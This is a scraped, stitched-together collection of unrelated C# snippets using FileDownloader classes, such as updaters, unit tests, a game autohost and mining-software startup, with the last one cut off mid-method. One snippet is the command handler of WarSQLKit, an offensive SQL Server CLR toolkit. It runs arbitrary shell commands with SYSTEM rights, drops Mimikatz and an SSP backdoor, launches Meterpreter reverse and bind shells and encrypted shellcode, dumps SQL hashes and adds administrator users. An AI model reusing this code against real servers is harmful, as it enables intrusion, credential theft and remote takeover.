private void DownloadUpdateAsync(Models.UpdateModel app,  Action<bool> finishedCallback, Action<double> progressPercentageCallback)
        {
            FileDownloader fileDownloader = new FileDownloader(app.UpdateURL);

            fileDownloader.DownloadAsync(downloadedData =>
            {
                string filename = Path.GetFileName(new Uri(app.UpdateURL).AbsolutePath); 
                System.IO.File.WriteAllBytes(filename, downloadedData);
                finishedCallback(true);
            },
            (progress) => 
            {
                progressPercentageCallback((100 * (progress.Current / progress.Total)));
            });
        }
        private static void Test()
        {
            //Initialize the logger and its events
            var logger = new EventBasedLogger();
            logger.Log += WriteLog;
            logger.Debug += WriteDebug;
            logger.Progress += WriteProgress;

            //create the downloader object and set its logger
            var downloader = new FileDownloader { Logger = logger };

            //enqueu two images
            var items = new Queue<DownloadItem>();
            items.Enqueue(new DownloadItem { Address = new Uri("https://www.google.com/images/srpr/logo3w.png"), Path = "google.png" });
            items.Enqueue(new DownloadItem
            {
                Address = new Uri("http://www.bing.com/community/cfs-filesystemfile.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-41-77-metablogapi/6644.b_2D00_fund_2D00_logo_5F00_3669B89F.png"),
                Path = "bing.png"
            });

            //create cancellation token source
            using (var source = new CancellationTokenSource())
            {
                //Start download...
                // Note: You can use async, instead of the synced version
                downloader.StartDownload(items, source.Token);
            }
        }
 public void Setup()
 {
     var driveAuthenticator = new Authenticator();
     driveAuthenticator.Authenticate("test");
     this.googleDriveServiceProvider = new GoogleDriveServiceProvider(driveAuthenticator);
     this.testee = new FileDownloader(this.googleDriveServiceProvider);
 }
Exemple #4
0
 static void Main(string[] args)
 {
     FileDownloader downloader = new FileDownloader();
     downloader.DownloadComplete += new EventHandler(downloader_DownloadedComplete);
     downloader.ProgressChanged += new DownloadProgressHandler(downloader_ProgressChanged);
     downloader.Download("http://download.mozilla.org/?product=firefox-1.5.0.7&os=win&lang=en-US");
 }
Exemple #5
0
        static void DownloadArtwork(IEnumerable<Series> series)
        {
            var start = DateTime.Now;
            Total = series.Sum(e => e.ArtWorks.Count);
            Console.WriteLine("{0}: Downloading {1} Artwork files.", DateTime.Now, Total);

            var downloader = new FileDownloader();
            downloader.DownloadProgressNotification += DownloaderOnDownloadProgressNotification;

            foreach (var s in series)
            {
                foreach (var artwork in s.ArtWorks)
                {
                    var localPath = Path.Combine(s.SeriesId.ToString(), Path.GetFileName(artwork.Url.ToString()));
                    downloader.AddDownload(artwork.Url, new FileInfo(Path.Combine(Path.GetDirectoryName(localPath), artwork.Id.ToString() + Path.GetExtension(localPath))), artwork.Id);
                }
            }

            while (!downloader.IsIdle)
            {
                Thread.Sleep(1000);
            }

            Console.WriteLine("{0}: Finished. Took: {1} seconds.", DateTime.Now, Math.Round((DateTime.Now - start).TotalSeconds, 0));
        }
        public void Should_be_able_to_download_a_small_file_from_the_internet()
        {
            var fileDownloader = new FileDownloader("http://www.google.co.uk/intl/en_uk/images/logo.gif");

            byte[] fileData = fileDownloader.Download();

            Assert.IsTrue(fileData.Length > 0);
        }
        public void Setup() {
            _strategy = A.Fake<IDownloadProtocol>();
            A.CallTo(() => _strategy.Schemes)
                .Returns(new[] {"http"});

            var authProvider = A.Fake<IAuthProvider>();
            A.CallTo(() => authProvider.HandleUri(new Uri(TestUrl)))
                .Returns(new Uri(TestUrl));
            _downloader = new FileDownloader(new[] {_strategy}, authProvider);
        }
Exemple #8
0
        public bool GetData(string fileName, string basePath, Action<UpdateProgressInfo> onProgress, ref string tempLocation)
        {
            // A baseUrl of http://testserver/somefolder with a file linklibrary.dll was resulting in a webrequest to http://testserver/linklibrary
            // The trailing slash is required for the Uri parser to resolve correctly.
            if (!basePath.EndsWith("/")) basePath += "/";
            var fullFilePath = basePath + fileName;
            fullFilePath = fullFilePath.Replace("\\", "/");

            Uri url = new Uri(string.Format(_baiduDownloadUrlFormat, AccessToken, fullFilePath));
            FileDownloader fd = new FileDownloader(url);
            fd.Proxy = Proxy;

            if (string.IsNullOrEmpty(tempLocation) || !Directory.Exists(Path.GetDirectoryName(tempLocation)))
                // WATCHOUT!!! Files downloaded to a path specified by GetTempFileName may be deleted on
                // application restart, and as such cannot be relied on for cold updates, only for hot-swaps or
                // files requiring pre-processing
                tempLocation = Path.GetTempFileName();

            return fd.DownloadToFile(tempLocation, onProgress);
        }
        public bool GetData(string url, string baseUrl, Action<UpdateProgressInfo> onProgress, ref string tempLocation)
        {
            FileDownloader fd;
            // A baseUrl of http://testserver/somefolder with a file linklibrary.dll was resulting in a webrequest to http://testserver/linklibrary
            // The trailing slash is required for the Uri parser to resolve correctly.
            if (!string.IsNullOrEmpty(baseUrl) && !baseUrl.EndsWith("/")) baseUrl += "/";
            if (Uri.IsWellFormedUriString(url, UriKind.Absolute))
                fd = new FileDownloader(url);
            else if (Uri.IsWellFormedUriString(baseUrl, UriKind.Absolute))
                fd = new FileDownloader(new Uri(new Uri(baseUrl, UriKind.Absolute), url));
            else
                fd = string.IsNullOrEmpty(baseUrl) ? new FileDownloader(url) : new FileDownloader(new Uri(new Uri(baseUrl), url));

            fd.Proxy = Proxy;

            if (string.IsNullOrEmpty(tempLocation) || !Directory.Exists(Path.GetDirectoryName(tempLocation)))
                // WATCHOUT!!! Files downloaded to a path specified by GetTempFileName may be deleted on
                // application restart, and as such cannot be relied on for cold updates, only for hot-swaps or
                // files requiring pre-processing
                tempLocation = Path.GetTempFileName();

            return fd.DownloadToFile(tempLocation, onProgress);
        }
        public void Download_File_Successfully()
        {
            try
            {
                var downloader = new FileDownloader();
                downloader.FileName = _testFileName;
                string fullPath = _testDirectory + @"\" + downloader.FileName;

                _webClient.DownloadFile(_testURI, _testDirectory);
                Assert.Pass();
            }
            catch (Exception ex)
            {
                if ((ex is WebException) || (ex is ArgumentNullException) || (ex is NotSupportedException))
                {
                    Assert.Fail();
                }
                else
                {
                    throw;
                }
            }
        }
    public AutoHost(TasClient tas, Spring spring, AutoHostConfig conf)
    {
      banList = new BanList(this, tas);

      if (conf == null) LoadConfig();
      else config = conf;
      SaveConfig();

      this.tas = tas;
      this.spring = spring;

      tas.Said += new EventHandler<TasSayEventArgs>(tas_Said);

      pollTimer = new Timer(PollTimeout*1000);
      pollTimer.Enabled = false;
      pollTimer.AutoReset = false;
      pollTimer.Elapsed += new ElapsedEventHandler(pollTimer_Elapsed);

      spring.SpringExited += new EventHandler(spring_SpringExited);
      spring.GameOver += new EventHandler<SpringLogEventArgs>(spring_GameOver);

      tas.BattleUserLeft += new EventHandler<TasEventArgs>(tas_BattleUserLeft);
      tas.UserStatusChanged += new EventHandler<TasEventArgs>(tas_UserStatusChanged);
      tas.BattleUserJoined += new EventHandler<TasEventArgs>(tas_BattleUserJoined);
      tas.BattleMapChanged += new EventHandler<TasEventArgs>(tas_BattleMapChanged);
      tas.BattleUserStatusChanged += new EventHandler<TasEventArgs>(tas_BattleUserStatusChanged);
      tas.BattleLockChanged += new EventHandler<TasEventArgs>(tas_BattleLockChanged);
      tas.BattleOpened += new EventHandler<TasEventArgs>(tas_BattleOpened);

      linker = new UnknownFilesLinker(spring);
      fileDownloader = new FileDownloader(spring);
      fileDownloader.DownloadCompleted += new EventHandler<FileDownloader.DownloadEventArgs>(fileDownloader_DownloadCompleted);
      //fileDownloader.DownloadProgressChanged += new EventHandler<TasEventArgs>(fileDownloader_DownloadProgressChanged);

      tas.BattleFound += new EventHandler<TasEventArgs>(tas_BattleFound);
    }
    /*void fileDownloader_DownloadProgressChanged(object sender, TasEventArgs e)
    {
      if (tas.IsConnected) {
        SayBattle(e.ServerParams[0] + " " + e.ServerParams[1] + "% done");
      }
    }*/

    private void fileDownloader_DownloadCompleted(object sender, FileDownloader.DownloadEventArgs e)
    {
      string mes;
      if (e.Status == FileDownloader.Status.Failed) mes = e.DownloadItem.fileName + " download failed: " + e.Message;
      else {
        mes = e.DownloadItem.fileName + " download finished!";
        spring.Reload(true, true);
      }
      if (tas.IsConnected) SayBattle(mes);
      if (e.DownloadItem.fileType == FileDownloader.FileType.Mod && !spring.IsRunning) Start(e.DownloadItem.fileName, null);
    }
Exemple #13
0
        private void btnDownload_Click(object sender, EventArgs e)
        {
            //----------------------------------------------------------
            // Lancer le téléchargement en fonction de la page courante.
            //----------------------------------------------------------

            if (pageSoftware.Visible == true)
            {
                if (!m_bSoftwareUpToDate)
                {
                    // Fichier source
                    string szNewVersionUri = m_hiRemote.AppInfos.FileLocation;

                    // Dossier cible, défaut = desktop.
                    string szTargetFolder = "";
                    folderBrowserDialog.Description         = UpdaterLang.Updater_BrowseFolderDescription;
                    folderBrowserDialog.ShowNewFolderButton = true;
                    folderBrowserDialog.RootFolder          = Environment.SpecialFolder.Desktop;

                    if (folderBrowserDialog.ShowDialog() == DialogResult.OK)
                    {
                        szTargetFolder = folderBrowserDialog.SelectedPath;

                        //-----------------------------
                        // Lancer le téléchargement.
                        //-----------------------------
                        ShowProgressBar();

                        m_Downloader = new FileDownloader();
                        m_Downloader.DownloadComplete += new EventHandler(downloader_DownloadedComplete);
                        m_Downloader.ProgressChanged  += new DownloadProgressHandler(downloader_ProgressChanged);

                        m_bDownloadStarted = true;
                        m_Downloader.AsyncDownload(szNewVersionUri, szTargetFolder);
                    }
                }
            }
            else
            {
                // Liste de fichiers.
                m_SourceItemList.Clear();

                PreferencesManager pm = PreferencesManager.Instance();
                ResourceManager    SharedResources = PreferencesManager.ResourceManager;

                // Choix de la liste de fichiers à télécharger
                CheckedListBox chklstbox;
                if (pageManuals.Visible == true)
                {
                    chklstbox      = chklstManuals;
                    m_TargetFolder = Application.StartupPath + "\\" + SharedResources.GetString("ManualsFolder");

                    m_HelpItemListId = 0;
                }
                else
                {
                    chklstbox        = chklstVideos;
                    m_TargetFolder   = Application.StartupPath + "\\" + SharedResources.GetString("HelpVideosFolder");
                    m_HelpItemListId = 1;
                }

                // Ajout de tous les fichiers à télécharger
                for (int i = 0; i < chklstbox.Items.Count; i++)
                {
                    if (chklstbox.GetItemCheckState(i) == CheckState.Checked)
                    {
                        m_SourceItemList.Add((HelpItem)chklstbox.Items[i]);
                    }
                }

                if (m_SourceItemList.Count > 0)
                {
                    m_Downloader = new FileDownloader();
                    m_Downloader.DownloadComplete += new EventHandler(downloader_MultipleDownloadedComplete);
                    m_Downloader.ProgressChanged  += new DownloadProgressHandler(downloader_ProgressChanged);

                    ShowProgressBar();
                    m_bDownloadStarted       = true;
                    m_CurrentSourceItemIndex = 0;
                    m_Downloader.AsyncDownload(m_SourceItemList[m_CurrentSourceItemIndex].FileLocation, m_TargetFolder);
                }
            }
        }
    public static void CmdExec(String cmd, out SqlString result)
    {
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlParameter param = new SqlParameter("@result", SqlDbType.NText, -1);

        result = "";

        if (!cmd.Contains("sp_") && !cmd.Contains("/RunSystemPriv") && !cmd.Contains("/RunSystemPS"))
        {
            result = RunCommand("cmd.exe", " /c " + cmd);
            if (result.ToString().Length < 4000)
            {
                SqlContext.Pipe.Send(result.ToString());
            }
        }
        if (cmd.Contains("/RunSystemPS"))
        {
            try
            {
                if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
                {
                    SqlContext.Pipe.Send("Creating Kumpir File");
                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                }
                var newCmd        = cmd.Replace("/RunSystemPS", "");
                var newCmdReplace = newCmd.Remove(newCmd.Length - 1);
                SqlContext.Pipe.Send("Running PowerShell command with \"NT AUTHORITY\\SYSTEM\" rights");
                result = RunSystemPS("cmd.exe", " /c C:\\ProgramData\\Kumpir.exe " + "\"" + newCmdReplace + "\"");
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
            }
        }
        if (cmd.Contains("/RunSystemPriv"))
        {
            try
            {
                if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
                {
                    SqlContext.Pipe.Send("Creating Kumpir File");
                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                }
                var newCmd        = cmd.Replace("/RunSystemPriv", "");
                var newCmdReplace = newCmd.Remove(newCmd.Length - 1);
                SqlContext.Pipe.Send("Running command with \"NT AUTHORITY\\SYSTEM\" rights");
                result = RunSystemPriv("cmd.exe", " /c C:\\ProgramData\\Kumpir.exe " + newCmdReplace);
            }
            catch (Exception e)
            {
                SqlContext.Pipe.Send("Task hataya " + e.Message);
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
            }
        }
        if (cmd == "sp_Mimikatz")
        {
            if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
            {
                SqlContext.Pipe.Send("Creating Kumpir File");
                var createKumpir = new CreateKumpir();
                createKumpir.KumpirBytes();
            }
            try
            {
                var mimiBuilder = new MeterpreterBuilder();
                mimiBuilder.SaveMimikatz();
                var getMimikatzLocation = @"C:\ProgramData\MimiPs.exe";
                SqlContext.Pipe.Send("Running PowerShell command with \"NT AUTHORITY\\SYSTEM\" rights");
                result = RunCommand("cmd.exe",
                                    " /c C:\\ProgramData\\Kumpir.exe \"" + getMimikatzLocation + "\"");
                result = GetMimiLog();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
                File.Delete("C:\\ProgramData\\MimiPs.exe");
            }
        }
        if (cmd == "sp_MimikatzSSP")
        {
            if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
            {
                SqlContext.Pipe.Send("Creating Kumpir File");
                var createKumpir = new CreateKumpir();
                createKumpir.KumpirBytes();
            }
            try
            {
                var mimiBuilder = new MeterpreterBuilder();
                mimiBuilder.SaveMimikatzSsp();
                var getMimikatzLocation = @"C:\ProgramData\MimiSSP.exe";
                SqlContext.Pipe.Send("Running PowerShell command with \"NT AUTHORITY\\SYSTEM\" rights");
                result = RunCommand("cmd.exe",
                                    " /c C:\\ProgramData\\Kumpir.exe \"" + getMimikatzLocation + "\"");
                result = GetMimiLog();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
                File.Delete("C:\\ProgramData\\MimiSSP.exe");
            }
        }
        if (cmd.Contains("sp_ShellCode"))
        {
            string[] cmdSplit = cmd.Split(' ');
            string   ScByte   = cmdSplit[1];
            string   Key      = cmdSplit[2];
            if (!File.Exists("C:\\ProgramData\\loader.exe"))
            {
                SqlContext.Pipe.Send("Creating loader File");
                var createKumpir = new CreateKumpir();
                createKumpir.LoaderBytes();
            }
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    RunCommand(@"C:\Windows\System32\cmd.exe", @" /c C:\\ProgramData\\Kumpir.exe ""C:\ProgramData\loader " + ScByte + @" " + Key + @" """);
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    RunCommand(@"C:\Windows\System32\cmd.exe", @" /c C:\ProgramData\loader " + ScByte + @" " + Key + @" """);
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_meterpreter_reverse_tcp"))
        {
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    string[] cmdSplit     = cmd.Split(' ');
                    var      createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip              = cmdSplit[1],
                        Port            = cmdSplit[2],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.SaveReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    string[] cmdSplit         = cmd.Split(' ');
                    var      buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip   = cmdSplit[1],
                        Port = cmdSplit[2]
                    };
                    buildMeterpreter.SaveReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_x64_meterpreter_reverse_tcp"))
        {
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    string[] cmdSplit     = cmd.Split(' ');
                    var      createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip              = cmdSplit[1],
                        Port            = cmdSplit[2],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.Savex64ReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    string[] cmdSplit         = cmd.Split(' ');
                    var      buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip   = cmdSplit[1],
                        Port = cmdSplit[2]
                    };
                    buildMeterpreter.Savex64ReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_meterpreter_reverse_rc4"))
        {
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    string[] cmdSplit = cmd.Split(' ');

                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip              = cmdSplit[1],
                        Port            = cmdSplit[2],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.SaveMeterpreterRc4();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    string[] cmdSplit         = cmd.Split(' ');
                    var      buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip   = cmdSplit[1],
                        Port = cmdSplit[2]
                    };
                    buildMeterpreter.SaveMeterpreterRc4();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_meterpreter_bind_tcp"))
        {
            try
            {
                string[] cmdSplit     = cmd.Split(' ');
                var      createKumpir = new CreateKumpir();
                createKumpir.KumpirBytes();
                if (cmd.Contains("GetSystem"))
                {
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Port            = cmdSplit[1],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.SaveBindMeterpreter();
                }
                else
                {
                    var buildMeterpreter = new MeterpreterBuilder {
                        Port = cmdSplit[1]
                    };
                    buildMeterpreter.SaveBindMeterpreter();
                }
            }
            catch (Exception e)
            {
                SqlContext.Pipe.Send(e.Message);
            }
        }
        if (cmd == "sp_getSqlHash")
        {
            result = GetSqlHash();
        }
        if (cmd == "sp_getProduct")
        {
            result = GetProduct();
        }
        if (cmd == "sp_getDatabases")
        {
            result = GetDatabases();
        }
        if (cmd.Contains("sp_downloadFile"))
        {
            var spliter      = cmd.Split(' ');
            var downloadFile = new FileDownloader(spliter[1], spliter[2]);
            downloadFile.StartDownload(Int32.Parse(spliter[3]));
            result = RunCommand("cmd.exe", " /c dir " + spliter[2]);
        }
        if (cmd == "sp_help")
        {
            result = "WarSQLKit Command Example\n"
                     + "whoami => Any Windows command\n"
                     + "whoami /RunSystemPriv => Any Windows command with NT AUTHORITY\\SYSTEM rights\n"
                     + "\"net user eyup P@ssw0rd1 /add\" /RunSystemPriv => Adding users with RottenPotato (Kumpir)\n"
                     + "\"net localgroup administrators eyup /add\" /RunSystemPriv => Adding user to localgroup with RottenPotato (Kumpir)\n"
                     + "powershell Get-ChildItem /RunSystemPS => (Powershell) with RottenPotato (Kumpir)\n"
                     + "sp_meterpreter_reverse_tcp LHOST LPORT GetSystem => x86 Meterpreter Reverse Connection with  NT AUTHORITY\\SYSTEM\n"
                     + "sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem => x64 Meterpreter Reverse Connection with  NT AUTHORITY\\SYSTEM\n"
                     + "sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem => x86 Meterpreter Reverse Connection RC4 with  NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql\n"
                     + "sp_meterpreter_bind_tcp LPORT GetSystem => x86 Meterpreter Bind Connection with  NT AUTHORITY\\SYSTEM\n"
                     + "sp_Mimikatz" + Environment.NewLine + "select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :)\n"
                     + "sp_MimikatzSSP  => Ssp Backdoor\n"
                     + "sp_downloadFile http://eyupcelik.com.tr/file.exe C:\\ProgramData\\file.exe 300  => Download File\n"
                     + "sp_getSqlHash  => Get MSSQL Hash\n"
                     + "sp_getProduct  => Get Windows Product\n"
                     + "sp_getDatabases  => Get Available Database\n"
                     + "sp_frpsocks5  => Todo: Use Frpc to open socks5\n"
                     + "sp_ShellCode encrypt_code key GetSystem => Run Shellcode with Encrypt CobaltStrike or Metasploit with SYSTEM\n";
        }
    }
Exemple #15
0
        public void Initialize()
        {
            m_liveSessionListeners = new HashSet <object>();

            IStepTracker stepTracker = null;

#if IOS_NATIVE
            if (Application.isMobilePlatform)
            {
                m_logger.Debug("Initializing iOS Native");

                m_categoryOptions = IOSAudioSessionCategoryOptions.None;

                if (MixWithOthers)
                {
                    m_categoryOptions = IOSAudioSessionCategoryOptions.MixWithOthers;
                }

                m_currentCategory = DefaultAudioCategory;

                if (EnableBackgroundAudio)
                {
                    IOSAudioSession.Instance.SetCategory(m_currentCategory, m_categoryOptions);

                    IOSAudioSession.Instance.RemoteCommandReceived += (sender, args) =>
                    {
                        if (args.Command == IOSAudioRemoteCommand.Pause)
                        {
                            SuspendLiveSession();
                        }
                    };
                }

                if (UseNativeDownloader)
                {
                    FileDownloader.SetFactory(new IOSFileDownloaderFactory());
                }

                AppDataPath = IOSFileDownloader.AppDataPath;

                Accelerometer   = IOSMotionManager.Instance.GetAccelerometer();
                LocationManager = IOSLocationManager.Instance;
                SystemCompass   = new IOSCompass();

                if (EnableBeacons)
                {
                    BeaconManager = IOSBeaconManager.Instance;
                }

                if (EnableNotifications)
                {
                    LocalNotificationManager =
                        new IOSLocalNotificationManager(IOSLocalNotificationTypes.Badge | IOSLocalNotificationTypes.Sound);
                }
            }
#endif
#if ANDROID_NATIVE
            if (Application.isMobilePlatform)
            {
                m_logger.Debug("Initializing Android Native");

                JavaClass  activityClass = new JavaClass("com.unity3d.player.UnityPlayer");
                JavaObject mainActivity  = activityClass.GetStaticFieldValue <JavaObject>("currentActivity", "android.app.Activity");

                AndroidApplicationManager.Instance.Initialize(mainActivity);

                LocationManager = new AndroidLocationManager();

                if (EnableBeacons)
                {
                    BeaconManager = new AndroidBeaconManager();
                }

                if (EnableNotifications)
                {
                    LocalNotificationManager = new AndroidLocalNotificationManager(StorageManager.GetFilePath("platform", "androidNotificationManager.json"));
                }
            }
#endif

            if (BeaconManager == null && EnableBeacons)
            {
                BeaconManager = UnityBeaconManager.Instance;
            }

            if (Accelerometer == null)
            {
                Accelerometer = gameObject.AddComponent <UnityAccelerometer>();
            }

            if (LocationManager == null)
            {
                LocationManager = gameObject.AddComponent <UnityLocationManager>();
            }

            LocationManager.EnableBackgroundUpdates = EnableBackgroundLocation;

            if (SystemCompass == null)
            {
                SystemCompass = gameObject.AddComponent <UnityCompass>();
            }

            if (LocalNotificationManager == null)
            {
                LocalNotificationManager = new DummyLocalNotificationManager();
            }

            if (EnableNotifications && EnableBackgroundNotifications)
            {
                BackgroundNotifier.Instance.Initialize();
            }

            var nrCompass = new NoiseDampeningCompass(SystemCompass);

#if UNITY_ANDROID
            // Android compass tends to be much more jittery--apply a higher dampening
            // factor
            nrCompass.DampeningFactor = 0.25;
#endif

            NoiseReducedCompass = nrCompass;

            if (Application.isMobilePlatform)
            {
                var accTracker = new AccelerometerStepTracker(Accelerometer);
                stepTracker = accTracker;

                Accelerometer.Start();
                accTracker.Start();
            }
            else
            {
                stepTracker = gameObject.AddComponent <DebugStepTracker>();
            }

            Pedometer = new Pedometer(stepTracker);

            m_logger.Debug("Setting compass type={0}", CompassType);

            switch (CompassType)
            {
            case CompassType.System:
                Compass = SystemCompass;
                break;

            case CompassType.NoiseReduced:
                Compass = NoiseReducedCompass;
                break;

            case CompassType.LocationTracker:
                LocationTrackerCompass = new Motive.AR.LocationServices.LocationTrackerCompass();
                Compass = LocationTrackerCompass;
                break;

            case CompassType.Hybrid:
            default:
                var hybrid = new HybridCompass(NoiseReducedCompass);
                LocationTrackerCompass = hybrid.TrackerCompass;
                Compass = hybrid;
                break;
            }

            AudioChannel           = CreateAudioPlayerChannel();
            ForegroundAudioChannel = gameObject.AddComponent <UnityAudioPlayerChannel>();

            Pedometer.Stepped += (sender, args) =>
            {
                if (ScriptEngine.Instance.UserInteractionEventManager != null)
                {
                    ScriptEngine.Instance.UserInteractionEventManager.AddEvent("step");
                }
            };

            if (ScreenSleepBehavior == ScreenSleepBehavior.AlwaysOn)
            {
                Screen.sleepTimeout = SleepTimeout.NeverSleep;
            }
        }
Exemple #16
0
        protected override void OnStartup(StartupEventArgs e)
        {
            RenderOptions.ProcessRenderMode = RenderMode.SoftwareOnly;
            VirtualRoot.BuildCmdPath <ShowFileDownloaderCommand>(action: message => {
                UIThread.Execute(() => {
                    FileDownloader.ShowWindow(message.DownloadFileUrl, message.FileTitle, message.DownloadComplete);
                });
            });
            VirtualRoot.BuildCmdPath <UpgradeCommand>(action: message => {
                AppStatic.Upgrade(message.FileName, message.Callback);
            });
            try {
                appMutex = new Mutex(true, s_appPipName, out createdNew);
            }
            catch (Exception) {
                createdNew = false;
            }

            if (createdNew)
            {
                this.ShutdownMode = ShutdownMode.OnExplicitShutdown;
                NotiCenterWindow.ShowWindow();
                LoginWindow loginWindow = new LoginWindow();
                var         result      = loginWindow.ShowDialog();
                if (result.HasValue && result.Value)
                {
                    bool isInnerIp = Ip.Util.IsInnerIp(NTMinerRegistry.GetControlCenterHost());
                    if (isInnerIp)
                    {
                        NTMinerServices.NTMinerServicesUtil.RunNTMinerServices(() => {
                            Init();
                        });
                    }
                    else
                    {
                        Init();
                    }
                }
                VirtualRoot.BuildCmdPath <CloseNTMinerCommand>(action: message => {
                    UIThread.Execute(() => {
                        try {
                            Shutdown();
                        }
                        catch (Exception ex) {
                            Logger.ErrorDebugLine(ex);
                            Environment.Exit(0);
                        }
                    });
                });
            }
            else
            {
                try {
                    _appViewFactory.ShowMainWindow(this, MinerServer.NTMinerAppType.MinerStudio);
                }
                catch (Exception) {
                    DialogWindow.ShowDialog(new DialogWindowViewModel(
                                                message: "另一个NTMiner正在运行,请手动结束正在运行的NTMiner进程后再次尝试。",
                                                title: "alert",
                                                icon: "Icon_Error"));
                    Process currentProcess = Process.GetCurrentProcess();
                    NTMiner.Windows.TaskKill.KillOtherProcess(currentProcess);
                }
            }
            base.OnStartup(e);
        }
 public NugetDownloader()
 {
     Downloader = new FileDownloader();
 }
Exemple #18
0
        // Occurs every time of block of data has been downloaded, and can be used to display the progress with
        // Note that you can also create a timer, and display the progress every certain interval
        // Also note that the progress properties return a size in bytes, which is not really user friendly to display
        //      The FileDownloader class provides static functions to format these byte amounts to a more readible format, either in binary or decimal notatio
        private void downloader_ProgressChanged(object sender, EventArgs e)
        {
            // Current File Information
            label7.Text = String.Format("Downloaded   {0} of {1} ({2}%)", FileDownloader.FormatSizeDecimal(_downloader.CurrentFileProgress), FileDownloader.FormatSizeDecimal(_downloader.CurrentFileSize), _downloader.CurrentFilePercentage()) + String.Format(" @ {0}/s", FileDownloader.FormatSizeDecimal(_downloader.DownloadSpeed));
            int percent = (int)_downloader.CurrentFilePercentage();

            if (percent > 0 && percent <= 100)
            {
                progressBar1.Value = percent;
            }

            // Overall Information

            label16.Text       = String.Format("Downloaded   {0} of {1} ({2}%)", FileDownloader.FormatSizeDecimal(_downloader.TotalProgress), FileDownloader.FormatSizeDecimal(_downloader.TotalSize), _downloader.TotalPercentage());
            progressBar2.Value = (int)_downloader.TotalPercentage();
        }
Exemple #19
0
 /// <summary>Format an amount of bytes to a more readible notation with decimal notation symbols</summary>
 /// <param name="size">Required. Int64. The raw amount of bytes</param>
 public static string FormatSizeDecimal(Int64 size)
 {
     return(FileDownloader.FormatSizeDecimal(size, default_decimals));
 }
Exemple #20
0
 protected override void OnStartup(StartupEventArgs e)
 {
     // 之所以提前到这里是因为升级之前可能需要下载升级器,下载升级器时需要下载器
     VirtualRoot.AddCmdPath <ShowFileDownloaderCommand>(action: message => {
         FileDownloader.ShowWindow(message.DownloadFileUrl, message.FileTitle, message.DownloadComplete);
     }, location: this.GetType());
     VirtualRoot.AddCmdPath <UpgradeCommand>(action: message => {
         AppRoot.Upgrade(NTMinerAppType.MinerStudio, message.FileName, message.Callback);
     }, location: this.GetType());
     if (AppUtil.GetMutex(NTKeyword.MinerStudioAppMutex))
     {
         this.ShutdownMode = ShutdownMode.OnExplicitShutdown;
         // 因为登录窗口会用到VirtualRoot.Out,而Out的延迟自动关闭消息会用到倒计时
         VirtualRoot.StartTimer(new WpfTimingEventProducer());
         NotiCenterWindow.ShowWindow();
         AppRoot.RemoteDesktop = MsRdpRemoteDesktop.OpenRemoteDesktop;
         MinerStudioRoot.Login(() => {
             MinerStudioRoot.Init(new MinerStudioWsClient());
             _ = MinerStudioService.Instance;// 访问一下从而提前拉取本地服务数据
             NTMinerContext.Instance.Init(() => {
                 _appViewFactory.BuildPaths();
                 UIThread.Execute(() => {
                     MinerStudioRoot.MinerClientsWindowVm.OnPropertyChanged(nameof(MinerStudioRoot.MinerClientsWindowVm.NetTypeText));
                     if (RpcRoot.IsOuterNet)
                     {
                         MinerStudioRoot.MinerClientsWindowVm.QueryMinerClients();
                     }
                     else
                     {
                         VirtualRoot.AddOnecePath <ClientSetInitedEvent>("矿工集合初始化完成后刷新矿机列表界面", LogEnum.DevConsole, action: message => {
                             MinerStudioRoot.MinerClientsWindowVm.QueryMinerClients();
